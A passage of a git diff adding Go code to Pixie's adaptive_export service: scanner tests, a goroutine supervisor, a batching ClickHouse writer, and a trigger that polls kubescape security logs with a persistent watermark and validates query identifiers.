TestScanner_BuildsPxLWithWhitelistOR(t *testing.T) { + cfg := ScannerConfig{Table: "pgsql_events"}.defaulted() + s := &TableScanner{cfg: cfg} + f := Filter{ + Mode: FilterModeWhitelist, + Pods: []activeset.Key{ + {Namespace: "n1", Pod: "a"}, + {Namespace: "n2", Pod: "b"}, + }, + } + pxl := s.buildPxL(f) + if !strings.Contains(pxl, "table='pgsql_events'") { + t.Fatalf("pxl missing table: %s", pxl) + } + if !strings.Contains(pxl, "n1/a") { + t.Fatalf("pxl missing first pod in regex: %s", pxl) + } + if !strings.Contains(pxl, "n2/b") { + t.Fatalf("pxl missing second pod in regex: %s", pxl) + } + if !strings.Contains(pxl, "px.regex_match") || !strings.Contains(pxl, "df.pod)") { + t.Fatalf("pxl missing px.regex_match call: %s", pxl) + } + if !strings.Contains(pxl, "^(") || !strings.Contains(pxl, ")$") { + t.Fatalf("pxl missing anchored alternation: %s", pxl) + } +} + +func TestScanner_UnfilteredModeOmitsWhitelist(t *testing.T) { + cfg := ScannerConfig{Table: "http_events"}.defaulted() + s := &TableScanner{cfg: cfg} + f := Filter{Mode: FilterModeUnfiltered} + pxl := s.buildPxL(f) + if strings.Contains(pxl, "df.pod ==") { + t.Fatalf("unfiltered mode should not emit pod filter: %s", pxl) + } +} + +func TestScanner_EmptyWhitelistSkipsQuery(t *testing.T) { + q := &fakeQuerier{rows: nil} + w := NewBatchWriter("pgsql_events", &fakeWriter{}, WriterConfig{BatchEvery: time.Hour}) + filtCh := make(chan Filter, 4) + filtCh <- Filter{Mode: FilterModeWhitelist, Pods: nil} // empty + cfg := ScannerConfig{Table: "pgsql_events", RefreshInterval: 100 * time.Millisecond} + sc := NewScanner(cfg, q, w, filtCh) + ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond) + defer cancel() + go w.Run(ctx) + sc.Run(ctx) + st := sc.Stats() + if st.Queries != 0 { + t.Fatalf("expected 0 queries on empty whitelist, got %d", st.Queries) + } + if st.Skipped == 0 { + t.Fatalf("expected skipped > 0") + } +} + +// TestScanner_BackoffOnRepeatedErrors — after a Query error, the +// scanner must back off (NOT hot-loop). After K consecutive +// failures, the per-retry interval must be ≥ a measurable threshold. +func TestScanner_BackoffOnRepeatedErrors(t *testing.T) { + q := &failingQuerier{err: errors.New("simulated broker outage")} + w := NewBatchWriter("pgsql_events", &fakeWriter{}, WriterConfig{BatchEvery: 50 * time.Millisecond}) + filtCh := make(chan Filter, 4) + filtCh <- Filter{Mode: FilterModeWhitelist, Pods: []activeset.Key{{Pod: "p"}}} + cfg := ScannerConfig{ + Table: "pgsql_events", + RefreshInterval: 100 * time.Second, // huge — backoff must dominate, not refresh + QueryTimeout: 100 * time.Millisecond, + BackoffInitial: 50 * time.Millisecond, + BackoffMax: 200 * time.Millisecond, + } + sc := NewScanner(cfg, q, w, filtCh) + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + go w.Run(ctx) + sc.Run(ctx) + st := sc.Stats() + // In 1 second with backoff = 50/100/200/200 → expected attempts ≤ ~10. + // Without backoff (hot-loop), we'd see thousands. + if st.Errors > 20 { + t.Fatalf("scanner appears to be hot-looping on errors: %d in 1s (expected ≤ 20)", st.Errors) + } + if st.Errors < 2 { + t.Fatalf("scanner did not retry after error: %d (expected ≥ 2)", st.Errors) + } +} + +// TestScanner_BackoffResetsOnSuccess — once a query succeeds, the +// backoff state must reset so the next failure waits BackoffInitial +// (not BackoffMax). +func TestScanner_BackoffResetsOnSuccess(t *testing.T) { + q := &flipFlopQuerier{ + results: [][]map[string]any{ + nil, // first call fails + {{"x": 1}}, + nil, // third call fails again + }, + failures: []bool{true, false, true}, + } + w := NewBatchWriter("pgsql_events", &fakeWriter{}, WriterConfig{BatchEvery: 1 * time.Hour}) + filtCh := make(chan Filter, 4) + filtCh <- Filter{Mode: FilterModeWhitelist, Pods: []activeset.Key{{Pod: "p"}}} + cfg := ScannerConfig{ + Table: "pgsql_events", + RefreshInterval: 10 * time.Millisecond, + QueryTimeout: 100 * time.Millisecond, + BackoffInitial: 50 * time.Millisecond, + BackoffMax: 400 * time.Millisecond, + } + sc := NewScanner(cfg, q, w, filtCh) + ctx, cancel := context.WithTimeout(context.Background(), 250*time.Millisecond) + defer cancel() + go w.Run(ctx) + sc.Run(ctx) + st := sc.Stats() + // Without backoff reset, a stuck-at-Max scanner would hit fewer + // retries (waiting BackoffMax=400ms = 0 retries in 250ms after + // first error). With reset, success → 50ms → fail → 100ms etc. + // — more retries fit in the window. + // + // Concrete: after each "fail | success | fail | success ..." cycle, + // backoff stays at the initial value, so retries are FAST. We + // expect ≥ 3 queries and ≥ 2 errors in 250 ms. + if st.Queries < 3 { + t.Fatalf("scanner did fewer queries than expected; queries=%d errors=%d (backoff may not be resetting)", st.Queries, st.Errors) + } + if st.Errors < 2 { + t.Fatalf("expected ≥ 2 errors, got %d", st.Errors) + } +} + +func TestScanner_QueriesOnNonEmptyFilter(t *testing.T) { + q := &fakeQuerier{rows: []map[string]any{{"time_": time.Now(), "pod": "n/p"}}} + fw := &fakeWriter{} + w := NewBatchWriter("pgsql_events", fw, WriterConfig{BatchEvery: 50 * time.Millisecond}) + filtCh := make(chan Filter, 4) + filtCh <- Filter{Mode: FilterModeWhitelist, Pods: []activeset.Key{{Pod: "p"}}} + cfg := ScannerConfig{Table: "pgsql_events", RefreshInterval: 50 * time.Millisecond, QueryTimeout: 1 * time.Second} + sc := NewScanner(cfg, q, w, filtCh) + ctx, cancel := context.WithTimeout(context.Background(), 300*time.Millisecond) + defer cancel() + go w.Run(ctx) + sc.Run(ctx) + if sc.Stats().Queries == 0 { + t.Fatalf("expected at least one query") + } + if fw.count.Load() == 0 { + t.Fatalf("writer received no rows; expected at least 1") + } +} diff --git a/src/vizier/services/adaptive_export/internal/streaming/supervisor.go b/src/vizier/services/adaptive_export/internal/streaming/supervisor.go new file mode 100644 index 00000000000..22575806499 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/supervisor.go @@ -0,0 +1,117 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "sync" + + log "github.com/sirupsen/logrus" +) + +// Supervisor owns the lifecycle of N TableScanner + N BatchWriter +// pairs (one pair per pixie table) plus the shared FilterUpdater. +// Single entry point from main.go. +// +// Goroutine inventory at steady state: +// +// 1 FilterUpdater +// N TableScanners (1 per pixie table) +// N BatchWriters (1 per pixie table) +// ────────────────── +// 1 + 2N total +// +// For N=10 (current PushPixieTables count): 21 goroutines, constant +// regardless of active hash count. +type Supervisor struct { + updater *FilterUpdater + scanners []*TableScanner + writers []*BatchWriter + tables []string + + wg sync.WaitGroup +} + +// NewSupervisor wires up scanners + writers for the given table list. +// One scanner + one writer per table. Each scanner gets its own +// channel from the updater. +func NewSupervisor( + updater *FilterUpdater, + querier Querier, + sink SinkWriter, + tables []string, + scannerCfg ScannerConfig, + writerCfg WriterConfig, +) *Supervisor { + s := &Supervisor{ + updater: updater, + tables: tables, + } + for _, t := range tables { + w := NewBatchWriter(t, sink, writerCfg) + c := scannerCfg + c.Table = t + sc := NewScanner(c, querier, w, updater.Subscribe()) + s.scanners = append(s.scanners, sc) + s.writers = append(s.writers, w) + } + return s +} + +// Run starts FilterUpdater + every scanner + every writer. +// Blocks until ctx is cancelled, at which point all goroutines +// drain and Run returns. +func (s *Supervisor) Run(ctx context.Context) { + log.WithFields(log.Fields{ + "tables": len(s.tables), + "goroutines": 1 + 2*len(s.tables), + }).Info("streaming.Supervisor: starting rev-3 push flow") + + s.wg.Add(1) + go func() { defer s.wg.Done(); s.updater.Run(ctx) }() + + for i := range s.scanners { + sc := s.scanners[i] + w := s.writers[i] + s.wg.Add(2) + go func() { defer s.wg.Done(); w.Run(ctx) }() + go func() { defer s.wg.Done(); sc.Run(ctx) }() + } + s.wg.Wait() +} + +// Stats aggregates per-table counters. Useful for /metrics endpoints +// + diagnostic logging. +type SupervisorStats struct { + PerTable map[string]TableStats +} + +type TableStats struct { + Scanner ScannerStats + Writer Stats +} + +func (s *Supervisor) Stats() SupervisorStats { + out := SupervisorStats{PerTable: make(map[string]TableStats, len(s.tables))} + for i, t := range s.tables { + out.PerTable[t] = TableStats{ + Scanner: s.scanners[i].Stats(), + Writer: s.writers[i].Stats(), + } + } + return out +} diff --git a/src/vizier/services/adaptive_export/internal/streaming/writer.go b/src/vizier/services/adaptive_export/internal/streaming/writer.go new file mode 100644 index 00000000000..77b281231ca --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/streaming/writer.go @@ -0,0 +1,179 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package streaming + +import ( + "context" + "sync/atomic" + "time" + + log "github.com/sirupsen/logrus" +) + +// SinkWriter is the abstraction over sink.WritePixieRows. Defining +// it here avoids a sink package import cycle and lets tests inject +// fakes. +type SinkWriter interface { + WritePixieRows(ctx context.Context, table string, rows []map[string]any) error +} + +// BatchWriter buffers per-table pixie rows and flushes them as one +// CH INSERT either when the buffer hits BatchRows OR when BatchEvery +// elapses since the last successful flush, whichever comes first. +// One goroutine per BatchWriter. +// +// Why batching: rev-2's per-hash fan-out produced ~10 small INSERTs +// per pass per pod. CH handles small INSERTs poorly (each spawns a +// merge; merge throughput is the bottleneck on heavily-active +// tables). One larger INSERT per N seconds dramatically reduces +// merge pressure. +type BatchWriter struct { + table string + sink SinkWriter + in chan []map[string]any + batchRows int + batchEvery time.Duration + bufferCap int + + // Counters exposed via Stats — read-only after Run starts. + written atomic.Int64 + dropped atomic.Int64 + flushes atomic.Int64 + errors atomic.Int64 +} + +// WriterConfig tunes a BatchWriter. Zero → defaults. +type WriterConfig struct { + BatchRows int // flush when buffered ≥ this many rows. default 10000. + BatchEvery time.Duration // flush when this much time has elapsed. default 5 s. + BufferCap int // input chan capacity (rows-of-batches). default 64. +} + +func (c WriterConfig) defaulted() WriterConfig { + if c.BatchRows <= 0 { + c.BatchRows = 10000 + } + if c.BatchEvery <= 0 { + c.BatchEvery = 5 * time.Second + } + if c.BufferCap <= 0 { + c.BufferCap = 64 + } + return c +} + +// NewBatchWriter constructs but does not start the writer. +func NewBatchWriter(table string, sink SinkWriter, cfg WriterConfig) *BatchWriter { + cfg = cfg.defaulted() + return &BatchWriter{ + table: table, + sink: sink, + in: make(chan []map[string]any, cfg.BufferCap), + batchRows: cfg.BatchRows, + batchEvery: cfg.BatchEvery, + bufferCap: cfg.BufferCap, + } +} + +// Submit hands rows to the writer. Non-blocking — if the input chan +// is full, the rows are DROPPED (oldest semantics handled at the +// table-scanner level; per-call drop here is the simpler contract). +// Returns true if accepted, false if dropped. Caller can log on drop. +func (w *BatchWriter) Submit(rows []map[string]any) bool { + if len(rows) == 0 { + return true + } + select { + case w.in <- rows: + return true + default: + w.dropped.Add(int64(len(rows))) + return false + } +} + +// Run owns the BatchWriter goroutine. Returns when ctx is cancelled, +// after attempting a best-effort final flush. +func (w *BatchWriter) Run(ctx context.Context) { + var buf []map[string]any + ticker := time.NewTicker(w.batchEvery) + defer ticker.Stop() + + flush := func(reason string) { + if len(buf) == 0 { + return + } + // Bound the CH write so a stalled CH HTTP doesn't pin us. + fctx, cancel := context.WithTimeout(ctx, 60*time.Second) + err := w.sink.WritePixieRows(fctx, w.table, buf) + cancel() + if err != nil { + w.errors.Add(1) + log.WithError(err).WithFields(log.Fields{ + "table": w.table, + "rows": len(buf), + "reason": reason, + }).Warn("streaming.BatchWriter: flush failed") + } else { + w.written.Add(int64(len(buf))) + w.flushes.Add(1) + log.WithFields(log.Fields{ + "table": w.table, + "rows": len(buf), + "reason": reason, + }).Info("streaming.BatchWriter: flushed batch") + } + buf = buf[:0] + } + + for { + select { + case <-ctx.Done(): + flush("shutdown") + return + + case rows := <-w.in: + buf = append(buf, rows...) + if len(buf) >= w.batchRows { + flush("size") + // Reset ticker so we don't get a redundant flush 100ms later + ticker.Reset(w.batchEvery) + } + + case <-ticker.C: + flush("timer") + } + } +} + +// Stats snapshots the four counters. +type Stats struct { + Written int64 + Dropped int64 + Flushes int64 + Errors int64 +} + +// Stats returns a Stats snapshot (atomic loads). +func (w *BatchWriter) Stats() Stats { + return Stats{ + Written: w.written.Load(), + Dropped: w.dropped.Load(), + Flushes: w.flushes.Load(), + Errors: w.errors.Load(), + } +} diff --git a/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel b/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel new file mode 100644 index 00000000000..b8cd0fd99e3 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/BUILD.bazel @@ -0,0 +1,43 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "trigger", + srcs = [ + "clickhouse.go", + "watermark.go", + ], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/trigger", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], + deps = [ + "//src/vizier/services/adaptive_export/internal/kubescape", + "@com_github_sirupsen_logrus//:logrus", + ], +) + +pl_go_test( + name = "trigger_test", + srcs = [ + "clickhouse_test.go", + "fingerprint_bench_test.go", + "watermark_test.go", + ], + embed = [":trigger"], + deps = ["//src/vizier/services/adaptive_export/internal/kubescape"], +) diff --git a/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go b/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go new file mode 100644 index 00000000000..82dd9f21991 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/clickhouse.go @@ -0,0 +1,438 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package trigger watches forensic_db.kubescape_logs for new rows and +// pushes parsed kubescape.Event values onto a channel. Polls the +// ClickHouse HTTP interface (default 250ms cadence). Operator runs as +// a DaemonSet — each instance polls only its OWN node's rows via +// `WHERE hostname = ''`. +package trigger + +import ( + "bufio" + "bytes" + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "regexp" + "strconv" + "strings" + "time" + + log "github.com/sirupsen/logrus" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/kubescape" +) + +// Config configures the trigger. PollInterval defaults to 250ms. +// Hostname is REQUIRED — it scopes every poll to a single node. +type Config struct { + Endpoint string + Database string + Table string + Username string + Password string + Hostname string + PollInterval time.Duration + + // InitialWatermark is a fallback used ONLY when Watermark is nil + // AND the persistent store is also empty. The production wiring + // always supplies Watermark and leaves this zero. + InitialWatermark uint64 + + // Watermark, when non-nil, makes the trigger persistent across + // restarts: the first poll loads from the store; successful + // advances are saved back (throttled by WatermarkSaveInterval). + // nil → behaves like pre-watermark trigger (in-memory only, + // starts from InitialWatermark; previously the source of the + // "infinite full-table replay after OOM" bug). + Watermark WatermarkStore + + // WatermarkSaveInterval throttles persistent writes — we'd + // otherwise INSERT every 250ms on a busy node. Default 5s. + WatermarkSaveInterval time.Duration + + // PollLimit caps rows returned per poll. Bounds catch-up work + // after a restart so a 10h backlog doesn't translate into a + // single multi-GiB SELECT the HTTP client times out on; instead + // it drains in N polls of PollLimit rows. Default 10000. + // 0 → unlimited (legacy behavior — NOT recommended in prod). + PollLimit int + + // HTTPTimeout bounds each individual poll. Default 30s; previously + // hardcoded to 5s, which under any backlog caused every poll to + // time out mid-stream → watermark never advanced. + HTTPTimeout time.Duration +} + +// ClickHouseHTTP polls forensic_db.
over the ClickHouse HTTP +// interface, scoped to a single node. +type ClickHouseHTTP struct { + cfg Config + client *http.Client +} + +// New validates Config and returns a ready trigger. +func New(cfg Config) (*ClickHouseHTTP, error) { + if cfg.Endpoint == "" { + return nil, fmt.Errorf("trigger: empty Endpoint") + } + if cfg.Hostname == "" { + return nil, fmt.Errorf("trigger: empty Hostname (operator must run node-local)") + } + u, err := url.Parse(cfg.Endpoint) + if err != nil { + return nil, fmt.Errorf("trigger: invalid Endpoint %q: %w", cfg.Endpoint, err) + } + if u.Scheme != "http" && u.Scheme != "https" { + return nil, fmt.Errorf("trigger: Endpoint %q must use http or https scheme", cfg.Endpoint) + } + if u.Host == "" { + return nil, fmt.Errorf("trigger: Endpoint %q has empty host", cfg.Endpoint) + } + if cfg.Database == "" { + cfg.Database = "forensic_db" + } + if cfg.Table == "" { + cfg.Table = "kubescape_logs" + } + // Validate Database / Table as plain ClickHouse identifiers + // (alphanumeric + underscore, not starting with a digit) so the + // SELECT in fetchSince cannot be subverted by an attacker-controlled + // Config. Hostname is value-quoted via quoteCH; identifiers cannot + // be parameterised, hence validation here. + if !validIdentifier(cfg.Database) { + return nil, fmt.Errorf("trigger: invalid Database identifier %q (must match [A-Za-z_][A-Za-z0-9_]*)", cfg.Database) + } + if !validIdentifier(cfg.Table) { + return nil, fmt.Errorf("trigger: invalid Table identifier %q (must match [A-Za-z_][A-Za-z0-9_]*)", cfg.Table) + } + if cfg.PollInterval <= 0 { + cfg.PollInterval = 250 * time.Millisecond + } + if cfg.WatermarkSaveInterval <= 0 { + cfg.WatermarkSaveInterval = 5 * time.Second + } + if cfg.PollLimit < 0 { + return nil, fmt.Errorf("trigger: PollLimit must be >= 0 (got %d)", cfg.PollLimit) + } + if cfg.PollLimit == 0 { + cfg.PollLimit = 10000 + } + if cfg.HTTPTimeout <= 0 { + cfg.HTTPTimeout = 30 * time.Second + } + return &ClickHouseHTTP{ + cfg: cfg, + client: &http.Client{Timeout: cfg.HTTPTimeout}, + }, nil +} + +// identifierRE accepts plain ClickHouse identifiers — letters, digits, +// underscores; not starting with a digit. Dotted identifiers (e.g. +// "http2_messages.beta") are deliberately rejected here because the +// trigger only ever queries the kubescape ingest table, not a pixie +// observation table. +var identifierRE = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`) + +func validIdentifier(s string) bool { return identifierRE.MatchString(s) } + +// Subscribe starts the background poll loop. The returned channel +// produces kubescape.Event values until ctx is cancelled, then closes. +func (t *ClickHouseHTTP) Subscribe(ctx context.Context) (<-chan kubescape.Event, error) { + out := make(chan kubescape.Event, 64) + go t.run(ctx, out) + return out, nil +} + +func (t *ClickHouseHTTP) run(ctx context.Context, out chan<- kubescape.Event) { + defer close(out) + // Watermark uses event_time as the cursor PLUS a set of row + // fingerprints already pushed at that exact event_time. This + // closes the race where two kubescape rows share the same + // event_time but the second arrives after our previous poll: the + // query is `event_time >= watermark` (inclusive) and we skip rows + // whose fingerprint we have already seen at the boundary. + // + // Cold-start order: persistent store > InitialWatermark > 0. + // The persistent store is the production answer to "operator + // OOMed, restarts, replays 10h of kubescape_logs from 0, every + // poll times out, never recovers" — without it any restart on + // a busy node is permanently stuck. + watermark := t.cfg.InitialWatermark + if t.cfg.Watermark != nil { + // Bound the load with its own context so a flaky CH doesn't + // block start-up indefinitely. The trigger then falls back + // to InitialWatermark and we log the failure loudly. + loadCtx, cancel := context.WithTimeout(ctx, t.cfg.HTTPTimeout) + wm, ok, err := t.cfg.Watermark.Load(loadCtx, t.cfg.Hostname, t.cfg.Table) + cancel() + switch { + case err != nil: + log.WithError(err).Warn("trigger: persistent watermark load failed; using InitialWatermark") + case ok: + watermark = wm + log.WithField("watermark", wm).Info("trigger: resumed from persistent watermark") + default: + log.WithField("initial", t.cfg.InitialWatermark). + Info("trigger: no persistent watermark; using InitialWatermark") + } + } + seenAtBoundary := map[string]bool{} + ticker := time.NewTicker(t.cfg.PollInterval) + defer ticker.Stop() + + // Throttle persistent writes: every successful advance is in + // memory immediately, but only flushed to CH at most every + // WatermarkSaveInterval. dirty tracks whether the in-memory + // watermark differs from what was last persisted. + // + // The flush is invoked INSIDE pollOnce (not from a ticker case + // in the for/select), because the initial pollOnce on a busy + // node can block for tens of seconds while it drains 10k events + // down a back-pressured channel — during which time the for/ + // select isn't running and a saveTicker.C tick would never be + // observed. Throttling is done with a time.Time comparison. + lastSaved := watermark + var lastSaveTime time.Time + dirty := false + flushWatermark := func() { + if !dirty || t.cfg.Watermark == nil || watermark == lastSaved { + return + } + if !lastSaveTime.IsZero() && time.Since(lastSaveTime) < t.cfg.WatermarkSaveInterval { + return + } + saveCtx, cancel := context.WithTimeout(ctx, t.cfg.HTTPTimeout) + err := t.cfg.Watermark.Save(saveCtx, t.cfg.Hostname, t.cfg.Table, watermark) + cancel() + if err != nil { + log.WithError(err).WithField("watermark", watermark). + Warn("trigger: persistent watermark save failed; will retry next interval") + return + } + lastSaved = watermark + lastSaveTime = time.Now() + dirty = false + } + // Best-effort final flush so a clean shutdown doesn't lose up + // to WatermarkSaveInterval of progress. + defer func() { + if t.cfg.Watermark != nil && dirty { + saveCtx, cancel := context.WithTimeout(context.Background(), t.cfg.HTTPTimeout) + defer cancel() + if err := t.cfg.Watermark.Save(saveCtx, t.cfg.Hostname, t.cfg.Table, watermark); err != nil { + log.WithError(err).Warn("trigger: shutdown watermark save failed") + } + } + }() + + pollOnce := func() { + rows, maxSeen, err := t.fetchSince(ctx, watermark) + // Partial-read tolerance: when the body read is cut short by + // HTTP timeout / connection reset, fetchSince returns the rows + // it managed to parse + err. We still process those rows so + // the watermark advances by what we got; failing to do so was + // the second half of the "stuck forever" bug. + if err != nil { + if len(rows) == 0 { + log.WithError(err).Warn("trigger: poll failed") + return + } + log.WithError(err).WithField("partial_rows", len(rows)). + Warn("trigger: poll partial — advancing on what parsed") + } + nextSeen := map[string]bool{} + // Periodic in-loop save: when pollOnce is draining a large + // initial backlog, the watermark advances long before the + // loop exits. Calling flushWatermark every N rows means the + // persistent watermark catches up even mid-drain, so a crash + // during the drain doesn't replay the whole backlog. Combined + // with the time-based throttle inside flushWatermark, this + // produces at most one persistent INSERT per WatermarkSaveInterval. + const saveEveryN = 256 + for i, row := range rows { + fp := rowFingerprint(row) + if row.EventTime == watermark && seenAtBoundary[fp] { + continue // already pushed in a prior poll at this exact boundary + } + ev, err := kubescape.Extract(row) + if err != nil { + log.WithError(err).Debug("trigger: skip incomplete row") + continue + } + // Promote the per-row event_time into the watermark + // immediately so flushWatermark below can persist mid-drain. + if ev.EventTime > watermark { + watermark = ev.EventTime + dirty = true + } + select { + case out <- ev: + case <-ctx.Done(): + return + } + if row.EventTime == maxSeen { + nextSeen[fp] = true + } + if i > 0 && i%saveEveryN == 0 { + flushWatermark() + } + } + if maxSeen > watermark { + watermark = maxSeen + seenAtBoundary = nextSeen + dirty = true + } else if maxSeen == watermark { + // no progress this tick — preserve boundary set, optionally extend + for fp := range nextSeen { + seenAtBoundary[fp] = true + } + } + // Final flush at end of pollOnce — also throttled. + flushWatermark() + } + + pollOnce() + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + pollOnce() + } + } +} + +// rowFingerprint hashes the row's content so we can dedupe at the +// watermark boundary without trusting kubescape to give us a unique row id. +func rowFingerprint(r kubescape.Row) string { + h := sha256.New() + _, _ = fmt.Fprintf(h, "%d\x00%s\x00%s\x00%s\x00%s", + r.EventTime, r.RuleID, r.Hostname, r.K8sDetails, r.ProcessDetails) + return hex.EncodeToString(h.Sum(nil)) +} + +func (t *ClickHouseHTTP) fetchSince(ctx context.Context, watermark uint64) ([]kubescape.Row, uint64, error) { + q := url.Values{} + // LIMIT bounds per-poll work. ORDER BY event_time + LIMIT N means + // catch-up from a stale watermark drains in ceil(backlog/N) polls + // of small responses instead of one giant scan. Without this, an + // operator that restarted into a multi-hour backlog could never + // recover — every unbounded query exceeded HTTPTimeout. + q.Set("query", fmt.Sprintf( + "SELECT RuleID, RuntimeK8sDetails, RuntimeProcessDetails, event_time, hostname "+ + "FROM %s.%s "+ + "WHERE hostname = %s AND event_time >= %d "+ + "ORDER BY event_time LIMIT %d FORMAT JSONEachRow", + t.cfg.Database, t.cfg.Table, quoteCH(t.cfg.Hostname), watermark, t.cfg.PollLimit)) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, + t.cfg.Endpoint+"/?"+q.Encode(), nil) + if err != nil { + return nil, 0, err + } + if t.cfg.Username != "" { + req.SetBasicAuth(t.cfg.Username, t.cfg.Password) + } + resp, err := t.client.Do(req) + if err != nil { + return nil, 0, err + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + return nil, 0, fmt.Errorf("HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + return parseJSONEachRow(resp.Body) +} + +// parseJSONEachRow streams JSONEachRow output line-by-line from r. +// Streaming (vs io.ReadAll into a []byte) bounds memory at one row +// regardless of how large the ClickHouse result set is. +// +// Malformed rows are LOGGED + SKIPPED, never fatal: a single bad line +// must not block watermark advancement and re-pin the bad row on every +// subsequent poll. Only an unrecoverable scanner error (e.g. line +// exceeds the 16 MiB buffer) fails the call. +func parseJSONEachRow(r io.Reader) ([]kubescape.Row, uint64, error) { + type rawRow struct { + RuleID string `json:"RuleID"` + RuntimeK8sDetails string `json:"RuntimeK8sDetails"` + RuntimeProcessDetails string `json:"RuntimeProcessDetails"` + EventTime json.RawMessage `json:"event_time"` + Hostname string `json:"hostname"` + } + var ( + rows []kubescape.Row + maxSeen uint64 + ) + scanner := bufio.NewScanner(r) + scanner.Buffer(make([]byte, 1<<20), 1<<24) + for scanner.Scan() { + line := bytes.TrimSpace(scanner.Bytes()) + if len(line) == 0 { + continue + } + var rr rawRow + if err := json.Unmarshal(line, &rr); err != nil { + log.WithError(err).Debug("trigger: skip malformed JSON row") + continue + } + ev, err := parseUint64Loose(rr.EventTime) + if err != nil { + log.WithError(err).Debug("trigger: skip row with bad event_time") + continue + } + rows = append(rows, kubescape.Row{ + EventTime: ev, + RuleID: rr.RuleID, + Hostname: rr.Hostname, + K8sDetails: rr.RuntimeK8sDetails, + ProcessDetails: rr.RuntimeProcessDetails, + }) + if ev > maxSeen { + maxSeen = ev + } + } + if err := scanner.Err(); err != nil { + // Partial-read tolerance: return whatever parsed cleanly along + // with the error so the caller can still advance the watermark. + // Without this, an HTTP body read cut off mid-stream (the + // classic 5s-timeout-on-2GB-response failure mode) discarded + // ~all parsed rows and pinned the watermark in place. + return rows, maxSeen, err + } + return rows, maxSeen, nil +} + +func parseUint64Loose(raw json.RawMessage) (uint64, error) { + s := strings.TrimSpace(string(raw)) + s = strings.Trim(s, `"`) + return strconv.ParseUint(s, 10, 64) +} + +// chLiteralEscaper — hoisted to a package-level var so we don't allocate +// a Replacer per call (quoteCH is hot in rowFingerprint). +var chLiteralEscaper = strings.NewReplacer(`\`, `\\`, `'`, `\'`) + +func quoteCH(s string) string { + return "'" + chLiteralEscaper.Replace(s) + "'" +} diff --git a/src/vizier/services/adaptive_export/internal/trigger/clickhouse_test.go b/src/vizier/services/adaptive_export/internal/trigger/clickhouse_test.go new file mode 100644 index 00000000000..083e1385112 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/trigger/clickhouse_test.go @@ -0,0 +1,241 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package trigger + +import ( + "context" + "net/http" + "net/http/httptest" + "strings" + "sync/atomic" + "testing" + "time" +) + +const canonicalRowJSON = `{"RuleID":"R1005","RuntimeK8sDetails":"{\"podName\":\"redis-578d5dc9bd-kjj78\",\"podNamespace\":\"redis\"}","RuntimeProcessDetails":"{\"processTree\":{\"pid\":106040,\"comm\":\"redis-server\"}}","event_time":"1744477360303026359","hostname":"node-1"}` + +// TestTrigger_Polls_HostnameAndWatermark — query carries +// WHERE hostname=… AND event_time>=… . Race-free: the server pushes +// each query string into a buffered channel; the test waits for the +// SECOND request deterministically (no fixed sleep, no shared +// non-atomic variable). +func TestTrigger_Polls_HostnameAndWatermark(t *testing.T) { + queries := make(chan string, 8) + var calls 